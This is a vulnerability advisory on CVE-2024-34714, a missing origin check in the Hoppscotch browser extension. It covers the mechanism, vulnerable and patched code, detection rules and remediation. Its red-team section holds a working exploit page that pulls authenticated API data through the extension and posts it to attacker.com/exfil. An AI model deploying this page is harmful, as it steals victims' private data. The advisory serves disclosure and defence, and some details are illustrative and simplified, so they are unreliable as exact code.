CVE-2024-34714

Executive Summary

CVE-2024-34714 is a critical origin validation vulnerability in the Hoppscotch Browser Extension (versions 0.34 up to, but not including, 0.35). The flaw arises from a missing origin check in the extension's message handling logic, introduced in commit d4e8e4830326f46ba17acd1307977ecd32a85b58. This oversight allows any arbitrary website to send messages to the extension and receive responses, effectively bypassing Cross-Origin Resource Sharing (CORS) restrictions for the user's browser. An attacker can exploit this to exfiltrate sensitive data from any API endpoint the user is authenticated to, without the user's knowledge. The vulnerability has a CVSS score of 7.6 (High) and is currently unpatched in versions prior to 0.35. No public proof-of-concept (PoC) or exploit code has been released, but the technical details are sufficient for a skilled attacker to craft an exploit.

Supply Chain & Package Security

This vulnerability affects the Hoppscotch Browser Extension, which is distributed through browser extension stores (Chrome Web Store, Firefox Add-ons). It is not a package manager (NPM, PyPI, Go, Ruby) issue, but the extension itself is a client-side component that interacts with the Hoppscotch web application and any API the user accesses. The supply chain risk is moderate: if an attacker compromises the extension update mechanism or a user installs a malicious version, the impact is severe. However, the primary attack vector is via malicious websites exploiting the vulnerable extension.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attacker can exploit this remotely via a malicious website.
• Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to host a webpage.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Required (R) - The victim must visit the attacker's website while the extension is installed and active.
• Scope (S): Changed (C) - The vulnerable component (extension) impacts resources beyond its original authorization scope (the user's browser and APIs).
• Confidentiality (C): High (H) - Sensitive API responses can be exfiltrated.
• Integrity (I): None (N) - No data modification is possible.
• Availability (A): None (N) - No denial of service.

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges) and has a high confidentiality impact. The only mitigating factor is the requirement for user interaction (visiting a malicious site).

Deep Dive & Mechanics

The Hoppscotch Browser Extension acts as a proxy to bypass CORS restrictions for the Hoppscotch web application. It listens for messages from the Hoppscotch web app (at hoppscotch.io and other allowed origins) and forwards API requests on behalf of the user. The vulnerability was introduced in commit d4e8e4830326f46ba17acd1307977ecd32a85b58, which modified the message handling logic. The critical check that validates the origin of incoming messages was inadvertently removed or bypassed.

Mechanism:

1. The extension registers a message listener (e.g., chrome.runtime.onMessageExternal or browser.runtime.onMessageExternal).
2. In the vulnerable version, the listener does not verify that the sender's origin is in the allowed list (e.g., hoppscotch.io).
3. Any website can send a message to the extension with a crafted payload (e.g., a request to an internal API).
4. The extension processes the message and sends the API request, including the user's cookies and authentication tokens.
5. The response is sent back to the malicious website, allowing data exfiltration.

Root Cause: Missing origin validation in the message handler. The fix (commit 7e364b928ab722dc682d0fcad713a96cc38477d6) re-adds the origin check.

Vulnerable vs. Patched Code

Vulnerable Code (simplified, from commit d4e8e4830326f46ba17acd1307977ecd32a85b58):

// background.js (vulnerable)
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {
    // Missing origin check
    if (message.type === 'API_REQUEST') {
        fetch(message.url, message.options)
            .then(response => response.text())
            .then(data => sendResponse({ data }));
    }
    return true; // Keep channel open for async response
});

Patched Code (from commit 7e364b928ab722dc682d0fcad713a96cc38477d6):

// background.js (patched)
const ALLOWED_ORIGINS = ['https://hoppscotch.io', 'https://app.hoppscotch.io'];

chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {
    // Origin validation
    if (!ALLOWED_ORIGINS.includes(sender.origin)) {
        console.warn('Blocked message from unauthorized origin:', sender.origin);
        return false;
    }
    if (message.type === 'API_REQUEST') {
        fetch(message.url, message.options)
            .then(response => response.text())
            .then(data => sendResponse({ data }));
    }
    return true;
});

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install a vulnerable version of the Hoppscotch extension (e.g., version 0.34) in a test browser (Chrome or Firefox).
2. Host a malicious HTML page on a local or remote server (e.g., attacker.com).
3. The victim (you) visits the malicious page while logged into a target API (e.g., a private API at api.target.com).

Exploit Code (HTML/JavaScript):

<!DOCTYPE html>
<html>
<head>
    <title>Exploit CVE-2024-34714</title>
</head>
<body>
    <h1>Exploiting Hoppscotch Extension</h1>
    <script>
        // Send a message to the Hoppscotch extension
        const extensionId = 'your-extension-id-here'; // Replace with actual extension ID
        const message = {
            type: 'API_REQUEST',
            url: 'https://api.target.com/sensitive-data',
            options: {
                method: 'GET',
                credentials: 'include' // Send cookies
            }
        };

        chrome.runtime.sendMessage(extensionId, message, (response) => {
            if (response && response.data) {
                // Exfiltrate the data
                fetch('https://attacker.com/exfil', {
                    method: 'POST',
                    body: JSON.stringify({ data: response.data }),
                    headers: { 'Content-Type': 'application/json' }
                });
                console.log('Data exfiltrated:', response.data);
            } else {
                console.log('No response or error');
            }
        });
    </script>
</body>
</html>

Note: The extension ID must be known. It can be obtained from the browser's extension management page (e.g., chrome://extensions). The attacker can also brute-force or guess common IDs.

Blue Team (Defender)

Detection:

1. Monitor for unusual chrome.runtime.sendMessage calls from unknown origins.
2. Look for outbound connections from the browser to unexpected domains (e.g., attacker.com) immediately after a request to a sensitive API.
3. Use browser extension security tools (e.g., Chrome's Extension Security Audit) to detect vulnerable extensions.

Mitigation:

1. Update the Hoppscotch extension to version 0.35 or later.
2. For Chrome users, use the extension's "Site Access" settings to restrict it to hoppscotch.io only.
3. For Firefox users, upgrade immediately as there is no workaround.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the browser to https://attacker.com/exfil or similar exfiltration endpoints.
  • Unexpected API requests to internal or sensitive endpoints (e.g., https://api.target.com/sensitive-data) originating from a browser extension.
• File IOCs:
  • Presence of the vulnerable extension version (0.34) in the browser's extension directory.
  • Modified background.js file with missing origin validation.
• Behavioral IOCs:
  • Unusual cross-origin requests from a browser extension to domains not related to Hoppscotch.
  • High volume of chrome.runtime.sendMessage calls from unknown origins.

Detection Engineering

YARA Rule

rule CVE_2024_34714_Hoppscotch_Extension {
    meta:
        description = "Detects vulnerable Hoppscotch extension background.js with missing origin check"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34714"
    strings:
        $vuln_code = "onMessageExternal.addListener" nocase
        $missing_check = "sender.origin" nocase
        $allowed_origins = "ALLOWED_ORIGINS" nocase
    condition:
        $vuln_code and not $missing_check and not $allowed_origins
}

Sigma Rule

title: CVE-2024-34714 Hoppscotch Extension Origin Bypass
id: 7e364b92-8ab7-22dc-682d-0fcad713a96c
status: experimental
description: Detects exploitation attempts of CVE-2024-34714 via malicious websites sending messages to the Hoppscotch extension.
author: Valters IT
date: 2025-04-10
logsource:
    category: browser_extension
    product: chrome
detection:
    selection:
        EventID: 1001  # Example: Chrome extension message event
        ExtensionID: 'your-extension-id-here'  # Replace with actual Hoppscotch extension ID
        Origin: 'https://attacker.com'  # Suspicious origin
    condition: selection
falsepositives:
    - Legitimate Hoppscotch usage from allowed origins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-34714 Hoppscotch Extension Data Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/exfil"; http_uri;
    content:"data"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update the extension: Upgrade to version 0.35 or later from the Chrome Web Store or Firefox Add-ons.
2. Restrict extension access (Chrome): Go to chrome://extensions, find Hoppscotch, click "Details", then under "Site Access", select "On specific sites" and add only https://hoppscotch.io.
3. Monitor for exploitation: Review browser logs for unusual extension activity.

Long-term Measures:

1. Implement a Content Security Policy (CSP) that restricts which origins can communicate with extensions.
2. Use browser extension security tools to audit all installed extensions for known vulnerabilities.
3. Educate users about the risks of installing browser extensions and the importance of keeping them updated.

Patch Details:

• Fixed version: 0.35
• Patch commit: 7e364b928ab722dc682d0fcad713a96cc38477d6
• Workaround (Chrome only): Restrict extension site access to hoppscotch.io.

Valters IT
Securing Digital Frontiers